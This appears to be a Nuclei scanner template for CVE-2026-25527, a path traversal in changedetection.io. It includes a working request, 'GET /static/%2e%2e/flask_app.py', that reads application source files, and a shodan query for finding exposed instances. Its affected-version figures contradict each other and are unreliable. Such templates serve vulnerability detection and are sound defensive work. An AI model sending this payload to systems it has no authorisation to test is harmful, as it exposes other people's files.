changedetection.io <= 0.52.9 - Unauthenticated Path Traversal

id: CVE-2026-25527

info:
  name: changedetection.io <= 0.52.9 - Unauthenticated Path Traversal
  author: WRG-11
  severity: medium
  description: |
    changedetection.io <= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/<group>/<filename> route, letting unauthenticated attackers read local application source files.
  impact: |
    Unauthenticated attackers can read local application source files, potentially exposing sensitive information.
  remediation: |
   Upgrade to version 0.53.2 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-9jj8-v89v-xjvw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25527
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-25527
    epss-score: 0.00917
    epss-percentile: 0.55859
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: dgtlmoon
    product: changedetection.io
    shodan-query: http.html:"changedetection.io"
  tags: cve,cve2026,changedetection,lfi,traversal,unauth,exposure

http:
  - raw:
      - |
        GET /static/%2e%2e/flask_app.py HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "from changedetectionio", "def static_content(")'
          - 'contains(content_type, "text/x-python")'
        condition: and
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